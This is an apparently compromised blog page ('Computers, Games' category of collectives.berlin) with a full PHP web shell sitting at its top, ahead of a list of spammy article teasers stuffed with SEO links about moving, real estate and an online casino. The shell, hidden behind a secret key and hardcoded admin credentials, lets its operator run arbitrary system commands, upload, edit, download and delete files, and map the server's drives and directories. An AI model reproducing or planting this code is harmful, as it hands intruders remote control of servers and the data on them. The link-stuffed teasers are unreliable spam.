if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } Computers, Games – Page 25 – collectives.berlin

Your digital paradise.

Category: Computers, Games

  • Симон Петлюра та його вплив на історію Української Народної Республіки

    Розуміння постаті, яка істотно вплинула на формування новітнього українського державотворення, є важливим для дослідників та істориків. Колишній лідер УНР став символом боротьби за незалежність та відновлення національної ідентичності. Важливо розглянути конкретні етапи його діяльності та ключові рішення, https://911mobi.com.ua/ які мали наслідки для розвитку української політики. У період після першої світової війни та руйнування імперій, діяч…

    Click or not…

  • Understanding Commercial Leases for Industrial Spaces

    Commercial leases for industrial spaces are vital agreements that govern the rental of properties used for manufacturing, warehousing, distribution, and other industrial purposes. Understanding these leases is essential for https://nationallogisticspost.com both landlords and tenants to ensure that their rights and obligations are clearly defined and protected. This report outlines the key components of industrial leases,…

    Click or not…

  • Interstate Moving Scams: Red Flags to Watch Out For

    Interstate moving scams are a troubling reality for many individuals and officemovingamerica.com families planning to relocate across state lines. As the moving industry grows, so do the tactics of unscrupulous operators looking to exploit unsuspecting customers. To protect yourself from becoming a victim, it is crucial to recognize the red flags associated with these scams.…

    Click or not…

  • Moving with Pets: Tips to Reduce Anxiety and Keep Them Safe

    Moving to a new home can be a stressful experience, not just for humans but for pets as well. Animals often thrive on routine, and the upheaval of moving can cause anxiety and confusion. To ensure a smooth transition for southfloridamovingguides.com both you and your furry companions, here are some essential tips to reduce their…

    Click or not…

  • How to Find a Reliable Real Estate Agent in a New City

    Finding a reliable real estate agent in a new city can be a daunting task, especially if you are unfamiliar with the local market dynamics. A good agent can make a significant difference in your home-buying or renting experience, so it’s essential to take the time to find someone who is trustworthy and https://propertyrelocationusa.com knowledgeable.…

    Click or not…

  • Moving Your Plants: Keeping Greenery Alive During Transport

    Transporting plants can be a daunting task for any plant enthusiast, https://cambridgemovinghub.com whether relocating to a new home or simply moving them to a different room. Ensuring the health and vitality of your greenery during transport requires careful planning and execution. Here are some essential tips to keep your plants thriving throughout the moving process.…

    Click or not…

  • Understanding Moving Insurance: What Coverage Do You Need

    When planning a move, whether across town or across the country, it’s essential to consider the various aspects of moving insurance. Moving insurance is designed to protect your belongings during the transportation process, providing peace of mind in case of damage or https://siliconvalleymovingpost.com loss. Understanding the different types of coverage available can help you make…

    Click or not…

  • How to Register at Golden Genie Casino in the UK

    Introduction In the ever-expanding world of online gambling, Golden Genie Casino has emerged as a popular choice for players in the UK. With its enticing game selection, user-friendly interface, and attractive bonuses, it’s no wonder that many players are eager to join. This report will provide a comprehensive guide on how to register at Golden…

    Click or not…

  • Storage Solutions: When and Why You Need a Storage Unit

    In today’s fast-paced world, the need for additional storage space has become increasingly common. Whether due to life transitions, downsizing, or https://relocationtimess.com simply the accumulation of belongings, storage units offer a practical solution to manage excess items. This report explores when and why you might need a storage unit, highlighting key scenarios and benefits. One…

    Click or not…

  • Final Walkthrough Checklist: Essential Steps Before Moving In

    A final walkthrough is a critical step in the home-buying process, allowing buyers to ensure that the property is in the expected condition before closing the deal. This last inspection is not just a formality; it is an opportunity to verify that everything is in order and https://professionalmoversusa.com that any agreed-upon repairs or changes have…

    Click or not…